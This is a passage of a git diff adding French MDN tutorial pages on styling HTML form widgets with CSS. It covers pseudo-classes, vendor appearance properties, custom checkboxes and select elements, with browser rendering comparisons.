+ <li><a href="http://www.w3.org/TR/CSS21/selector.html#dynamic-pseudo-classes" rel="external" title="http://www.w3.org/TR/CSS21/selector.html#dynamic-pseudo-classes">CSS 2.1</a> était très limité et n'offrait que trois pseudo-classes :
+
+  <ul>
+   <li>{{cssxref(":active")}}</li>
+   <li>{{cssxref(":focus")}}</li>
+   <li>{{cssxref(":hover")}}</li>
+  </ul>
+ </li>
+ <li><a href="http://www.w3.org/TR/css3-selectors/" rel="external" title="http://www.w3.org/TR/css3-selectors/">CSS Selector Level 3</a> a ajouté quelques nouvelles pseudo-classes relatives aux formulaires HTML :
+  <ul>
+   <li>{{cssxref(":enabled")}}</li>
+   <li>{{cssxref(":disabled")}}</li>
+   <li>{{cssxref(":checked")}}</li>
+   <li>{{cssxref(":indeterminate")}}</li>
+  </ul>
+ </li>
+ <li><a href="http://dev.w3.org/csswg/css3-ui/#pseudo-classes" rel="external" title="http://dev.w3.org/csswg/css3-ui/#pseudo-classes">CSS Basic UI Level 3</a> a ajouté quelques autres pseudo-classes pour décrire l'état du widget :
+  <ul>
+   <li>{{cssxref(":default")}}</li>
+   <li>{{cssxref(":valid")}}</li>
+   <li>{{cssxref(":invalid")}}</li>
+   <li>{{cssxref(":in-range")}}</li>
+   <li>{{cssxref(":out-of-range")}}</li>
+   <li>{{cssxref(":required")}}</li>
+   <li>{{cssxref(":optional")}}</li>
+   <li>{{cssxref(":read-only")}}</li>
+   <li>{{cssxref(":read-write")}}</li>
+  </ul>
+ </li>
+ <li><a href="http://dev.w3.org/csswg/selectors4/" rel="external" title="http://dev.w3.org/csswg/selectors4/">CSS Selector Level 4</a> actuellement en développement actif et objet de grandes discussions ne prévoit pas d'ajouter grand‑chose pour améliorer les formulaires :
+  <ul>
+   <li>{{cssxref(":user-error")}} qui est juste une amélioration de la pseudo‑classe {{cssxref(":invalid")}}.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Voilà un bon début, mais il y a deux problèmes. Primo, certains navigateurs ne mettent pas en œuvre des fonctionnalités au-delà de CSS 2.1. Secundo, ils ne sont tout simplement pas assez perfectionnés pour styliser des widgets complexes, comme les sélecteurs de date.</p>
+
+<p>Il y a quelques expérimentations par les fournisseurs de navigateurs pour étendre l'expressivité des CSS sur les formulaires ; dans certains cas, il est bon de savoir ce qui est disponible..</p>
+
+<div class="warning">
+<p><strong>Avertissement :</strong> Même si ces expérimentations sont intéressantes, <strong>elles ne sont pas normées, ce qui signifie qu'elles ne sont pas fiables</strong>. Si vous les utilisez (et vous ne devriez probablement pas le faire souvent), vous le faites à vos propres risques et périls ; <a href="http://www.alistapart.com/articles/every-time-you-call-a-proprietary-feature-css3-a-kitten-dies/">vous faites quelque chose qui peut être mauvais pour le Web</a> en utilisant des propriétés non standard.</p>
+</div>
+
+<ul>
+ <li><a href="/fr/docs/CSS/CSS_Reference/Mozilla_Extensions" title="/en-US/docs/CSS/CSS_Reference/Mozilla_Extensions">Extensions des CSS Mozilla </a>
+
+  <ul>
+   <li>{{cssxref(":-moz-placeholder")}}</li>
+   <li>{{cssxref(":-moz-submit-invalid")}}</li>
+   <li>{{cssxref(":-moz-ui-invalid")}}</li>
+   <li>{{cssxref(":-moz-ui-valid")}}</li>
+  </ul>
+ </li>
+ <li><a href="/fr/docs/CSS/CSS_Reference/Webkit_Extensions" title="/en-US/docs/CSS/CSS_Reference/Webkit_Extensions">Extensions des CSS WebKit </a>
+  <ul>
+   <li>{{cssxref("::-webkit-input-placeholder")}}</li>
+   <li><a href="http://trac.webkit.org/wiki/Styling%20Form%20Controls" rel="external" title="http://trac.webkit.org/wiki/Styling Form Controls">et beaucoup d'autres</a></li>
+  </ul>
+ </li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/ie/hh869403%28v=vs.85%29.aspx" rel="external" title="http://msdn.microsoft.com/en-us/library/ie/hh869403%28v=vs.85%29.aspx">Extensions des CSS Microsoft</a>
+  <ul>
+   <li><code><a href="http://msdn.microsoft.com/en-us/library/ie/hh772745%28v=vs.85%29.aspx" rel="external" title="http://msdn.microsoft.com/en-us/library/ie/hh772745%28v=vs.85%29.aspx">:-ms-input-placeholder</a></code></li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Contrôle_de_l'apparence_des_éléments_de_formulaire">Contrôle de l'apparence des éléments de formulaire</h3>
+
+<p>Les navigateurs fondés sur WebKit- (Chrome, Safari) et Gecko- (Firefox) offrent les meilleures possibilités de personnalisation des widgets HTML. Ils sont aussi disponibles sur plateforme croisées, et donc ils nécessitent un mécanisme de bascule entre les widgets de « look and feel » natif  et widget stylistiquement composables par l'utilisateur.</p>
+
+<p>À cette fin, ils utilisent une propriété propriétaire : {{cssxref("-webkit-appearance")}} ou {{cssxref("-moz-appearance")}}. <strong>Ces propriétés ne sont pas normées et ne doivent pas être utilisées</strong>. En fait, elles se comportent même différemment entre WebKit et Gecko. Cependant, il y a une valeur qu'il est bon de connaître : <code>none</code>. Avec cette valeur, vous êtes en mesure d'obtenir un contrôle (presque total) sur le style des widgets donnés.</p>
+
+<p>Donc, si vous avez du mal à appliquer un style à un élément, essayez d'utiliser ces propriétés propriétaires. Nous verrons quelques exemples ci-dessous, mais le cas d'utilisation le plus connu de cette propriété est relatif au style des champs de recherche sur les navigateurs WebKit :</p>
+
+<pre class="brush: css">&lt;style&gt;
+input[type=search] {
+    border: 1px dotted #999;
+    border-radius: 0;
+
+    -webkit-appearance: none;
+}
+&lt;/style&gt;
+
+&lt;form&gt;
+    &lt;input type="search"&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample("Contrôle_de_l'apparence_des_éléments_de_formulaire", 250, 40)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il est toujours difficile de prédire l'avenir, quand on parle de techniques Web. L'extension des possibilités d'expression des CSS est difficile ; il y a un travail exploratoire avec d'autres spécifications, telles que <a href="http://dvcs.w3.org/hg/webcomponents/raw-file/tip/spec/shadow/index.html" rel="external" title="http://dvcs.w3.org/hg/webcomponents/raw-file/tip/spec/shadow/index.html">Shadow DOM</a> qui offrent certaines perspectives. La quête du formulaire de style totalement composable est loin d'être terminée.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cases_à_cocher_et_boutons_radio">Cases à cocher et boutons radio</h3>
+
+<p>Composer le style d'une case à cocher ou d'un bouton radio conduit à un certain désordre en soi. Par exemple, la taille des cases à cocher et des boutons radio n'est pas vraiment destinée à être modifiée et les navigateurs peuvent réagir très différemment, si vous essayez de le faire.</p>
+
+<h4 id="Une_simple_case_à_cocher">Une simple case à cocher</h4>
+
+<p>Considérons la case à cocher suivante :</p>
+
+<pre class="brush: html">&lt;span&gt;&lt;input type="checkbox"&gt;&lt;/span&gt;</pre>
+
+<pre class="brush: css">span {
+    display: inline-block;
+    background: red;
+}
+
+input[type=checkbox] {
+    width : 100px;
+    height: 100px;
+}</pre>
+
+<p>Voici les différentes façons dont divers navigateurs gèrent cela :</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Navigateur</th>
+   <th scope="col">Rendu</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Firefox 57 (Mac OSX)</td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/15671/firefox-mac-checkbox.png" style="height: 118px; width: 120px;"></td>
+  </tr>
+  <tr>
+   <td>Firefox 57 (Windows 10)</td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/15691/firefox-windows-checkbox.png" style="height: 115px; width: 113px;"></td>
+  </tr>
+  <tr>
+   <td>Chrome 63 (Mac OSX)</td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/15676/chrome-mac-checkbox.png" style="height: 117px; width: 116px;"></td>
+  </tr>
+  <tr>
+   <td>Chrome 63 (Windows 10)</td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/15681/chrome-windows-checkbox.png" style="height: 117px; width: 120px;"></td>
+  </tr>
+  <tr>
+   <td>Opera 49 (Mac OSX)</td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/15701/opera-mac-checkbox.png" style="height: 119px; width: 118px;"></td>
+  </tr>
+  <tr>
+   <td>Internet Explorer 11 (Windows 10)</td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/15696/ie11-checkbox.png" style="height: 112px; width: 119px;"></td>
+  </tr>
+  <tr>
+   <td>Edge 16 (Windows 10)</td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/15686/edge-checkbox.png" style="height: 118px; width: 119px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Un_exemple_un_peu_plus_compliqué">Un exemple un peu plus compliqué</h4>
+
+<p>Comme Opera et Internet Explorer n'ont pas de fonctionnalités telles que {{cssxref("-webkit-appearance")}} ou {{cssxref("-moz-appearance")}}, leur utilisation n'est pas appropriée. Heureusement, nous sommes dans un cas où les CSS disposent d'assez d'expressions pour trouver des solutions. Prenons un exemple courant :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;fieldset&gt;
+    &lt;p&gt;
+      &lt;input type="checkbox" id="first" name="fruit-1" value="cerise"&gt;
+      &lt;label for="first"&gt;J'aime les cerises&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="checkbox" id="second" name="fruit-2" value="banane" disabled&gt;
+      &lt;label for="second"&gt;Je ne peux pas aimer la banane&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="checkbox" id="third" name="fruit-3" value="fraise"&gt;
+      &lt;label for="third"&gt;J'aime les fraises&lt;/label&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>avec une composition stylistique élémentaire :</p>
+
+<pre class="brush: css">body {
+  font: 1em sans-serif;
+}
+
+form {
+  display: inline-block;
+
+  padding: 0;
+  margin : 0;
+}
+
+fieldset {
+  border : 1px solid #CCC;
+  border-radius: 5px;
+  margin : 0;
+  padding: 1em;
+}
+
+label {
+  cursor : pointer;
+}
+
+p {
+  margin : 0;
+}
+
+p+p {
+  margin : .5em 0 0;
+}</pre>
+
+<p>Maintenant composons pour avoir une case à cocher personnalisée.</p>
+
+<p>Le plan consiste à remplacer la case à cocher native par une image de notre choix. Tout d'abord, nous devons préparer une image avec tous les états requis pour une case à cocher. Ces états sont : non coché, coché, non coché désactivé et coché désactivé. Cette image sera utilisée comme fantôme des CSS :</p>
+
+<p><img alt="Check box CSS Sprite" src="/files/4173/checkbox-sprite.png" style="height: 64px; width: 16px;"></p>
+
+<p>Commençons par masquer les cases à cocher d'origine. Nous les déplacerons simplement à l'extérieur de la fenêtre de visualisation de la page. Il y a deux choses importantes à considérer ici :</p>
+
+<ul>
+ <li>N'utilisez pas <code>display:none</code> pour masquer la case à cocher, car comme nous le verrons ci-dessous, nous avons besoin que la case à cocher soit disponible pour l'utilisateur. Avec <code>display:none</code>, la case à cocher n'est plus accessible à l'utilisateur, ce qui signifie qu'il est impossible de la cocher ou de la décocher.</li>
+ <li>Nous utiliserons quelques sélecteurs CSS3 pour réaliser notre style. Afin de prendre en charge les navigateurs existants, nous pouvons préfixer tous nos sélecteurs avec la pseudo-classe {{cssxref(":root")}}. Dans l'état actuel des implémentations, tous les navigateurs prenant en charge ce dont nous avons besoin prenent en charge également la pseudo-classe {{cssxref(":root")}}, mais d'autres ne le font pas. Ceci est un exemple de moyen pratique pour filtrer l'ancien Internet Explorer. Ces anciens navigateurs verront la case à cocher normale tandis que les navigateurs modernes verront la case à cocher personnalisée.</li>
+</ul>
+
+<pre class="brush: css">:root input[type=checkbox] {
+  /* les cases à cocher d'origine sont placées en dehors de la vue */
+  position: absolute;
+  left: -1000em;
+}</pre>
+
+<p>Maintenant que nous sommes débarrassés des cases à cocher natives, ajoutons la nôtre. Pour cela, nous utiliserons le pseudo élément {{cssxref(":before")}} de l'élément {{HTMLElement("label")}} qui suit la case à cocher originale. Ainsi, dans le sélecteur suivant, nous utilisons le sélecteur d'attributs pour cibler la case à cocher, puis nous utilisons le sélecteur de parents adjacent pour cibler le <code>label</code> suivant la case à cocher originale. Enfin, nous accédons au pseudo-élément {{cssxref(":before")}} et le styliser pour qu'il affiche notre case à cocher personnalisée non cochée.</p>
+
+<pre class="brush: css">:root input[type=checkbox] + label:before {
+  content: "";
+  display: inline-block;
+  width  : 16px;
+  height : 16px;
+  margin : 0 .5em 0 0;
+  background: url("https://developer.mozilla.org/files/4173/checkbox-sprite.png") no-repeat 0 0;
+
+/* Ce qui suit est utilisé pour ajuster la position des cases à cocher
+   sur la ligne de base suivante */
+
+  vertical-align: bottom;
+  position: relative;
+  bottom: 2px;
+}</pre>
+
+<p>Nous utilisons les pseudo-classes {{cssxref(":checked")}} et {{cssxref(":disabled")}} sur la case à cocher d'origine pour changer l'état de notre case à cocher personnalisée en conséquence. Comme nous utilisons un fantôme des CSS, tout ce que nous avons à faire est de changer la position de l'arrière-plan.</p>
+
+<pre class="brush: css">:root input[type=checkbox]:checked + label:before {
+  background-position: 0 -16px;
+}
+
+:root input[type=checkbox]:disabled + label:before {
+  background-position: 0 -32px;
+}
+
+:root input[type=checkbox]:checked:disabled + label:before {
+  background-position: 0 -48px;
+}</pre>
+
+<p>Une dernière chose (mais très importante) : lorsqu'un utilisateur utilise le clavier pour naviguer d'un widget à un autre, chaque widget qui reçoit le focus doit être marqué visuellement. Comme nous cachons les cases à cocher natives, nous devons implémenter cette fonctionnalité nous-mêmes : l'utilisateur doit pouvoir voir où elles se trouvent dans le formulaire. Le CSS suivant met en œuvre le focus sur les cases à cocher personnalisées.</p>
+
+<pre class="brush: css">:root input[type=checkbox]:focus + label:before {
+  outline: 1px dotted black;
+}</pre>
+
+<p>Voyez directement ici le résultat :</p>
+
+<p>{{EmbedLiveSample("Un_exemple_un_peu_plus_compliqué", 250, 130)}}</p>
+
+<h3 id="Gérer_le_cauchemar_&lt;select>">Gérer le cauchemar &lt;select&gt;</h3>
+
+<p>L'élément {{HTMLElement("select")}} est considéré comme un widget « truand », car il est impossible de lui composer un style cohérent entre les plateformes. Toutefois, certaines choses restent possibles. Plutôt qu'une longue explication, voyons un exemple :</p>
+
+<pre class="brush: html">&lt;select&gt;
+  &lt;option&gt;Cerise&lt;/option&gt;
+  &lt;option&gt;Banane&lt;/option&gt;
+  &lt;option&gt;Fraise&lt;/option&gt;
+&lt;/select&gt;</pre>
+
+<pre class="brush: css">select {
+  width   : 80px;
+  padding : 10px;
+}
+
+option {
+  padding : 5px;
+  color   : red;
+}</pre>
+
+<p>Le tableau suivant montre comment divers navigateurs gèrent cela, dans deux cas. Les deux premières colonnes ne sont que l'exemple ci-dessus. Les deux colonnes suivantes utilisent des CSS personnalisés supplémentaires, pour avoir plus de contrôle sur l'apparence du widget :</p>
+
+<pre class="brush: css">select, option {
+  -webkit-appearance : none; /* Pour avoir le contrôle de l'apparence sur WebKit/Chromium */
+  -moz-appearance : none; /* Pour avoir le contrôle sur l'apparence sur Gecko */
+
+  /* Pour avoir le contrôle sur l'apparence et sur Trident (IE)
+     Notez que cela fonctionne aussi sur Gecko et a des effets limités sur WebKit */
+  background : none;
+}</pre>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th colspan="1" rowspan="2" scope="col">Navigateur</th>
+   <th colspan="2" scope="col" style="text-align: center;">Rendu classique</th>
+   <th colspan="2" scope="col" style="text-align: center;">Rendu travaillé</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: center;">fermé</th>
+   <th scope="col" style="text-align: center;">ouvert</th>
+   <th scope="col" style="text-align: center;">fermé</th>
+   <th scope="col" style="text-align: center;">ouvert</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Firefox 57 (Mac OSX)</td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15672/firefox-mac-select-1-closed.png" style="height: 55px; width: 91px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15673/firefox-mac-select-1-open.png" style="height: 76px; width: 119px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15674/firefox-mac-select-2-closed.png" style="height: 67px; width: 94px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15675/firefox-mac-select-2-open.png" style="height: 82px; width: 116px;"></td>
+  </tr>
+  <tr>
+   <td>Firefox 57 (Windows 10)</td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15692/firefox-windows-select-1-closed.png" style="height: 65px; width: 92px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15693/firefox-windows-select-1-open.png" style="height: 129px; width: 103px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15694/firefox-windows-select-2-closed.png" style="height: 69px; width: 92px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15695/firefox-windows-select-2-open.png" style="height: 144px; width: 108px;"></td>
+  </tr>
+  <tr>
+   <td>Chrome 63 (Mac OSX)</td>
+   <td style="vertical-align: top; text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/15677/chrome-mac-select-1-closed.png" style="height: 36px; width: 92px;"></td>
+   <td style="vertical-align: top; text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/15678/chrome-mac-select-1-open.png" style="height: 62px; width: 108px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15684/chrome-windows-select-2-closed.png" style="height: 53px; width: 92px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15680/chrome-mac-select-2-open.png" style="height: 75px; width: 110px;"></td>
+  </tr>
+  <tr>
+   <td>Chrome 63 (Windows 10)</td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15682/chrome-windows-select-1-closed.png" style="height: 50px; width: 91px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15683/chrome-windows-select-1-open.png" style="height: 95px; width: 91px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15684/chrome-windows-select-2-closed.png" style="height: 53px; width: 92px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15685/chrome-windows-select-2-open.png" style="height: 104px; width: 93px;"></td>
+  </tr>
+  <tr>
+   <td>Opera 49 (Mac OSX)</td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15702/opera-mac-select-1-closed.png" style="height: 33px; width: 92px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15703/opera-mac-select-1-open.png" style="height: 67px; width: 115px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15704/opera-mac-select-2-closed.png" style="height: 49px; width: 89px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15705/opera-mac-select-2-open.png" style="height: 77px; width: 115px;"></td>
+  </tr>
+  <tr>
+   <td>IE11 (Windows 10)</td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15697/ie11-select-1-closed.png" style="height: 52px; width: 91px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15698/ie11-select-1-open.png" style="height: 84px; width: 120px;"></td>
+   <td style="text-align: center; vertical-align: middle;"><img alt="" src="https://mdn.mozillademos.org/files/15699/ie11-select-2-closed.png" style="height: 57px; width: 93px;"></td>
+   <td style="text-align: center; vertical-align: middle;"><img alt="" src="https://mdn.mozillademos.org/files/15700/ie11-select-2-open.png" style="height: 89px; width: 123px;"></td>
+  </tr>
+  <tr>
+   <td>Edge 16 (Windows 10)</td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15687/edge-select-1-closed.png" style="height: 52px; width: 91px;"></td>
+   <td style="text-align: center; vertical-align: top;"><img alt="" src="https://mdn.mozillademos.org/files/15688/edge-select-1-open.png" style="height: 84px; width: 105px;"></td>
+   <td style="text-align: center; vertical-align: middle;"><img alt="" src="https://mdn.mozillademos.org/files/15689/edge-select-2-closed.png" style="height: 51px; width: 89px;"></td>
+   <td style="text-align: center; vertical-align: middle;"><img alt="" src="https://mdn.mozillademos.org/files/15690/edge-select-2-open.png" style="height: 83px; width: 93px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Comme vous pouvez le voir, malgré l'aide des propriétés <code>-*-appearance</code>, il reste quelques problèmes :</p>
+
+<ul>
+ <li>La propriété {{cssxref("padding")}} est gérée de manière incohérente entre les divers systèmes d'exploitation et navigateurs.</li>
+ <li>Internet Explorer ancien ne permet pas un style sans à-coups.</li>
+ <li>Firefox ne dispose d'aucun moyen pour rendre la flèche de déroulement.</li>
+ <li>Si vous voulez donner un style aux éléments {{HTMLElement("option")}} dans la liste déroulante, le comportement de Chrome et Opera varie d'un système à l'autre.</li>
+</ul>
+
+<p>De plus, avec notre exemple, nous n'utilisons que trois propriétés CSS. Imaginez le désordre quand on considère encore plus de propriétés CSS. Comme vous pouvez le voir, les CSS ne sont pas adaptées pour changer l'apparence et la convivialité de ces widgets de manière cohérente, mais elles vous permettent quand même d'ajuster certaines choses. Pour autant que vous soyez prêt à vivre avec des différences d'un navigateur et d'un système d'exploitation à l'autre.</p>
+
+<p>Nous vous aiderons à comprendre quelles sont les propriétés qui conviennent dans l'article suivant : <a href="/fr/docs/Properties_compatibility_table_for_forms_widgets" title="/en-US/docs/Properties_compatibility_table_for_forms_widgets">Tableau de compatibilité des propriétés entre les widgets de formulaire</a>.</p>
+
+<h2 id="Vers_des_formulaires_plus_sympas_bibliothèques_utiles_et_«_polyfill_»_(prothèses_d'émulation)">Vers des formulaires plus sympas : bibliothèques utiles et<strong> </strong>« <strong>polyfill » (prothèses d'émulation)</strong></h2>
+
+<p>Bien que les CSS soient assez expressives pour les cases à cocher et les boutons radio, c'est loin d'être vrai pour les widgets plus avancés. Même si certaines choses sont possibles avec l'élément {{HTMLElement("select")}}, le widget <code>file</code> ne peut pas être stylisé du tout. Il en est de même pour le sélecteur de date, etc.</p>
+
+<p>Si vous souhaitez avoir un contrôle total sur les widgets de formulaire, vous n'avez pas d'autre choix que de compter sur JavaScript. Dans l'article<a href="/fr/docs/HTML/Forms/How_to_build_custom_form_widgets"> Comment créer des widgets de formulaires personnalisés</a>, nous voyons comment le faire nous-mêmes, mais il existe des bibliothèques très utiles pouvant vous aider :</p>
+
+<ul>
+ <li><a href="http://sprawsm.com/uni-form/" rel="external" title="http://sprawsm.com/uni-form/">Uni-form</a> est un canevas de standardisation du balisage des formulaires, en le composant stylistiquement avec des CSS. Il offre également quelques fonctionnalités supplémentaires lorsqu'il est utilisé avec jQuery, mais c'est optionnel.</li>
+ <li><a href="http://formalize.me/" rel="external" title="http://formalize.me/">Formalize</a> est une extension des canevas JavaScript courants (tels que jQuery, Dojo, YUI, etc.) aidant à rationaliser et personnaliser les formulaires.</li>
+ <li><a href="http://www.emblematiq.com/lab/niceforms/" rel="external" title="http://www.emblematiq.com/lab/niceforms/">Niceforms</a> est une méthode JavaScript autonome fournissant une personnalisation complète des formulaires Web. Vous pouvez utiliser certains thèmes intégrés ou créer les vôtres.</li>
+</ul>
+
+<p>Les bibliothèques suivantes ne visent pas seulement les formulaires, mais elles ont des fonctionnalités très intéressantes pour les traiter :</p>
+
+<ul>
+ <li><a href="http://jqueryui.com/" rel="external" title="http://jqueryui.com/">jQuery UI</a> offre des widgets avancés et personnalisables très intéressants, comme les sélecteurs de date (avec une attention particulière pour l'accessibilité).</li>
+ <li><a href="http://twitter.github.com/bootstrap/base-css.html#forms" rel="external" title="http://twitter.github.com/bootstrap/base-css.html#forms">Twitter Bootstrap</a> peut être très utile si vous voulez normaliser vos formulaires.</li>
+ <li><a href="https://afarkas.github.io/webshim/demos/" rel="external" title="http://afarkas.github.com/webshim/demos/demos/webforms.html">WebShim</a> est un énorme outil pouvant vous aider à gérer la prise en charge des navigateurs HTML5. La partie formulaires Web peut être très utile.</li>
+</ul>
+
+<p>Rappelez-vous que lier CSS et JavaScript peut avoir des effets collatéraux. Donc, si vous choisissez d'utiliser l'une de ces bibliothèques, vous devez toujours prévoir des solutions de repli dans les feuilles de style en cas d'échec du script. Il y a de nombreuses raisons pour lesquelles les scripts peuvent échouer, surtout dans le monde des mobiles et vous devez concevoir votre site Web ou votre application pour traiter ces cas le mieux possible.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p> </p>
+
+<p>Bien qu'il y ait encore des points noirs avec l'utilisation des CSS dans les formulaires HTML, il y a souvent moyen de les contourner. Il n'existe pas de solution générale et nette, mais les navigateurs modernes offrent de nouvelles possibilités. Pour l'instant, la meilleure solution est d'en savoir plus sur la façon dont les divers navigateurs prennent en charge les CSS, telles qu'appliquées aux widgets de formulaires HTML.</p>
+
+<p>Dans le prochain article de ce guide, nous explorerons comment les différents widgets de formulaire HTML prennent en charge  les plus importantes propriétés des CSS : <a class="new" href="https://developer.mozilla.org/fr/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets" rel="nofollow">Tableau de compatibilité des propriétés entre widgets de formulaire</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://diveintohtml5.info/forms.html" rel="external" title="http://diveintohtml5.info/forms.html">Dive into HTML5: Forms </a>(en anglais)</li>
+ <li><a href="http://www.smashingmagazine.com/2011/06/27/useful-ideas-and-guidelines-for-good-web-form-design/" rel="external" title="http://www.smashingmagazine.com/2011/06/27/useful-ideas-and-guidelines-for-good-web-form-design/">Idées utiles et lignes‑guides pour un bon design des formulaires Web</a> (en anglais)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets", "Web/Guide/HTML/Formulaires")}}</p>
+
+<h2 id="Dans_ce_module">Dans ce module</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML"><span>Comment structurer un formulaire HTML</span></a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li>
+ <li>Mise en forme avancée des formulaires HTML</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li>
+</ul>
diff --git a/files/fr/web/guide/html/formulaires/apparence_des_formulaires_html/index.html b/files/fr/web/guide/html/formulaires/apparence_des_formulaires_html/index.html
new file mode 100644
index 0000000000..fbdafe47d4
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/apparence_des_formulaires_html/index.html
@@ -0,0 +1,391 @@
+---
+title: Mise en forme des formulaires HTML
+slug: Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML
+tags:
+  - CSS
+  - Exemple
+  - Formulaires
+  - Guide
+  - HTML
+  - Intermédiaire
+  - Web
+translation_of: Learn/Forms/Styling_web_forms
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}</div>
+
+<blockquote>
+<p>Dans cet article, nous allons apprendre comment utiliser <a href="/fr/docs/CSS" title="/fr/docs/CSS">les CSS</a> avec les formulaires <a href="/fr/docs/HTML" title="/fr/docs/HTML">HTML</a> pour (espérons-le) améliorer leur apparence. Étonnamment, ceci peut être délicat. Pour des raisons techniques et historiques, les widgets de formulaires ne s'allient pas très bien avec CSS. À cause de ces difficultés, de nombreux développeurs préfèrent <a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés" title="/fr/docs/HTML/Formulaires/Comment_créer_des_blocs_de_formulaires_personnalisés">construire leurs propres widgets HTML</a> pour avoir plus de maîtrise sur leur apparence. Toutefois, avec les navigateurs modernes, les web designers ont de plus en plus d'emprise sur l'apparence de leurs formulaires. Voyons cela de plus près.</p>
+</blockquote>
+
+<h2 id="Pourquoi_est-ce_si_difficile_de_modifier_l'apparence_des_formulaires_avec_CSS">Pourquoi est-ce si difficile de modifier l'apparence des formulaires avec CSS ?</h2>
+
